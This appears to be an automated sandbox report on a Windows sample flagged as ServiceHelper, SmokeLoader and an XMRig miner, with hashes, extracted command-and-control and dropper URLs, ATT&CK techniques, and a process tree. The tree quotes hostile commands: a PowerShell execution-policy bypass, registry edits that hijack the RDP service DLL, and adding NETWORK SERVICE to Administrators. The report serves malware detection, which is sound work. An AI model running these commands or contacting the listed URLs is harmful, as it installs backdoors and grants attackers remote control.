servhelper | 1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4

Analysis

max time kernel
151s
max time network
137s
submitted
01-01-1970 00:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Size

184KB
MD5

87e989a0716df97e7a81fb0dd1756cb6
SHA1

350a2c2d358568cc4abdd0a79ff403affe47c5ee
SHA256

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4
SHA512

948218a3a74685a153a4cfaf066434eb0d113f05adf9810d3faf53b3767985c974c052989d4d9023aedec6cea9989196339077731eab46965a56b8967c48bcc1

Score

10^/10

servhelper smokeloader xmrig backdoor miner persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://brandyjaggers.com/upload/

http://andbal.com/upload/

http://alotofquotes.com/upload/

http://szpnc.cn/upload/

http://uggeboots.com/upload/

http://100klv.com/upload/

http://rapmusic.at/upload/

rc4.i32

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	Process
66	1584	powershell.exe
69	1584	powershell.exe
70	1584	powershell.exe
72	1584	powershell.exe
74	1584	powershell.exe
76	1584	powershell.exe
79	1584	powershell.exe
81	1584	powershell.exe
83	1584	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

Processes:

54F2.exe686B.exe

pid	Process
3084	54F2.exe
3528	686B.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000b00000001aba3-590.dat	upx
behavioral1/files/0x000b00000001aba4-595.dat	upx

Deletes itself 1 IoCs

Processes:

pid	Process
2960

Loads dropped DLL 2 IoCs

Processes:

pid	Process
2152
2152

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF5AA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wlbuzogr.0oh.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_xzru4myp.asd.psm1	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF5BA.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF539.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF588.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF599.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2972	3528	WerFault.exe	71

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exe

pid	Process
2668	reg.exe
3376	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	74	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	69	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	70	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	72	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

pid	Process
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960
2960

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
2960

Suspicious behavior: LoadsDriver 3 IoCs

Processes:

pid	Process
628
628
628

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

pid	Process
2700	1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	powershell.exe
Token: SeSecurityPrivilege	1516	powershell.exe
Token: SeTakeOwnershipPrivilege	1516	powershell.exe
Token: SeLoadDriverPrivilege	1516	powershell.exe
Token: SeSystemProfilePrivilege	1516	powershell.exe
Token: SeSystemtimePrivilege	1516	powershell.exe
Token: SeProfSingleProcessPrivilege	1516	powershell.exe
Token: SeIncBasePriorityPrivilege	1516	powershell.exe
Token: SeCreatePagefilePrivilege	1516	powershell.exe
Token: SeBackupPrivilege	1516	powershell.exe
Token: SeRestorePrivilege	1516	powershell.exe
Token: SeShutdownPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeSystemEnvironmentPrivilege	1516	powershell.exe
Token: SeRemoteShutdownPrivilege	1516	powershell.exe
Token: SeUndockPrivilege	1516	powershell.exe
Token: SeManageVolumePrivilege	1516	powershell.exe
Token: 33	1516	powershell.exe
Token: 34	1516	powershell.exe
Token: 35	1516	powershell.exe
Token: 36	1516	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeIncreaseQuotaPrivilege	2684	powershell.exe
Token: SeSecurityPrivilege	2684	powershell.exe
Token: SeTakeOwnershipPrivilege	2684	powershell.exe
Token: SeLoadDriverPrivilege	2684	powershell.exe
Token: SeSystemProfilePrivilege	2684	powershell.exe
Token: SeSystemtimePrivilege	2684	powershell.exe
Token: SeProfSingleProcessPrivilege	2684	powershell.exe
Token: SeIncBasePriorityPrivilege	2684	powershell.exe
Token: SeCreatePagefilePrivilege	2684	powershell.exe
Token: SeBackupPrivilege	2684	powershell.exe
Token: SeRestorePrivilege	2684	powershell.exe
Token: SeShutdownPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeSystemEnvironmentPrivilege	2684	powershell.exe
Token: SeRemoteShutdownPrivilege	2684	powershell.exe
Token: SeUndockPrivilege	2684	powershell.exe
Token: SeManageVolumePrivilege	2684	powershell.exe
Token: 33	2684	powershell.exe
Token: 34	2684	powershell.exe
Token: 35	2684	powershell.exe
Token: 36	2684	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeIncreaseQuotaPrivilege	2264	powershell.exe
Token: SeSecurityPrivilege	2264	powershell.exe
Token: SeTakeOwnershipPrivilege	2264	powershell.exe
Token: SeLoadDriverPrivilege	2264	powershell.exe
Token: SeSystemProfilePrivilege	2264	powershell.exe
Token: SeSystemtimePrivilege	2264	powershell.exe
Token: SeProfSingleProcessPrivilege	2264	powershell.exe
Token: SeIncBasePriorityPrivilege	2264	powershell.exe
Token: SeCreatePagefilePrivilege	2264	powershell.exe
Token: SeBackupPrivilege	2264	powershell.exe
Token: SeRestorePrivilege	2264	powershell.exe
Token: SeShutdownPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeSystemEnvironmentPrivilege	2264	powershell.exe
Token: SeRemoteShutdownPrivilege	2264	powershell.exe
Token: SeUndockPrivilege	2264	powershell.exe
Token: SeManageVolumePrivilege	2264	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

pid	Process
2960
2960
2960
2960
2960

Suspicious use of SendNotifyMessage 9 IoCs

Processes:

pid	Process
2960
2960
2960
2960
2960
2960
2960
2960
2960

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

54F2.exepowershell.execsc.exe686B.exepowershell.execsc.exenet.execmd.execmd.execmd.execmd.execmd.exenet.exenet.execmd.exenet.execmd.exe

description	pid	Process	procid_target
PID 2960 wrote to memory of 3084	2960		69
PID 2960 wrote to memory of 3084	2960		69
PID 2960 wrote to memory of 3528	2960		71
PID 2960 wrote to memory of 3528	2960		71
PID 2960 wrote to memory of 3528	2960		71
PID 3084 wrote to memory of 1412	3084	54F2.exe	72
PID 3084 wrote to memory of 1412	3084	54F2.exe	72
PID 1412 wrote to memory of 820	1412	powershell.exe	74
PID 1412 wrote to memory of 820	1412	powershell.exe	74
PID 820 wrote to memory of 2348	820	csc.exe	75
PID 820 wrote to memory of 2348	820	csc.exe	75
PID 1412 wrote to memory of 1516	1412	powershell.exe	76
PID 1412 wrote to memory of 1516	1412	powershell.exe	76
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 3528 wrote to memory of 3228	3528	686B.exe	78
PID 1412 wrote to memory of 2684	1412	powershell.exe	81
PID 1412 wrote to memory of 2684	1412	powershell.exe	81
PID 1412 wrote to memory of 2264	1412	powershell.exe	83
PID 1412 wrote to memory of 2264	1412	powershell.exe	83
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3228 wrote to memory of 3720	3228	powershell.exe	85
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3720 wrote to memory of 3524	3720	csc.exe	86
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 3228 wrote to memory of 2632	3228	powershell.exe	87
PID 1412 wrote to memory of 3524	1412	powershell.exe	89
PID 1412 wrote to memory of 3524	1412	powershell.exe	89
PID 1412 wrote to memory of 2668	1412	powershell.exe	90
PID 1412 wrote to memory of 2668	1412	powershell.exe	90
PID 1412 wrote to memory of 1516	1412	powershell.exe	91
PID 1412 wrote to memory of 1516	1412	powershell.exe	91
PID 1412 wrote to memory of 3892	1412	powershell.exe	94
PID 1412 wrote to memory of 3892	1412	powershell.exe	94
PID 3892 wrote to memory of 1232	3892	net.exe	95
PID 3892 wrote to memory of 1232	3892	net.exe	95
PID 1412 wrote to memory of 3972	1412	powershell.exe	96
PID 1412 wrote to memory of 3972	1412	powershell.exe	96
PID 3972 wrote to memory of 1848	3972	cmd.exe	97
PID 3972 wrote to memory of 1848	3972	cmd.exe	97
PID 1848 wrote to memory of 2996	1848	cmd.exe	105
PID 1848 wrote to memory of 2996	1848	cmd.exe	105
PID 2996 wrote to memory of 3052	2996	cmd.exe	99
PID 2996 wrote to memory of 3052	2996	cmd.exe	99
PID 1412 wrote to memory of 1648	1412	powershell.exe	100
PID 1412 wrote to memory of 1648	1412	powershell.exe	100
PID 1648 wrote to memory of 1376	1648	cmd.exe	101
PID 1648 wrote to memory of 1376	1648	cmd.exe	101
PID 1376 wrote to memory of 980	1376	cmd.exe	102
PID 1376 wrote to memory of 980	1376	cmd.exe	102
PID 980 wrote to memory of 2896	980	net.exe	103
PID 980 wrote to memory of 2896	980	net.exe	103
PID 2996 wrote to memory of 3720	2996	cmd.exe	107
PID 2996 wrote to memory of 3720	2996	cmd.exe	107
PID 3720 wrote to memory of 1632	3720	net.exe	108
PID 3720 wrote to memory of 1632	3720	net.exe	108
PID 4064 wrote to memory of 1232	4064	cmd.exe	111
PID 4064 wrote to memory of 1232	4064	cmd.exe	111
PID 1232 wrote to memory of 3672	1232	net.exe	112
PID 1232 wrote to memory of 3672	1232	net.exe	112
PID 2972 wrote to memory of 3724	2972	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe
"C:\Users\Admin\AppData\Local\Temp\1aefb12a57b41d13f2085ca72e5e4c9d57b6a9b4c73cebad9cb56e206d9a89c4.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2700

C:\Users\Admin\AppData\Local\Temp\54F2.exe
C:\Users\Admin\AppData\Local\Temp\54F2.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ba3hzcvm\ba3hzcvm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78A7.tmp" "c:\Users\Admin\AppData\Local\Temp\ba3hzcvm\CSCFADF3ACD147B44F88084303A989057BD.TMP"
      4⤵
      PID:2348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2264
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3524
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2668
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1516
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1232
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1848
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:2996
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3052
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:980
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2896
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2728
- - C:\Windows\system32\cmd.exe
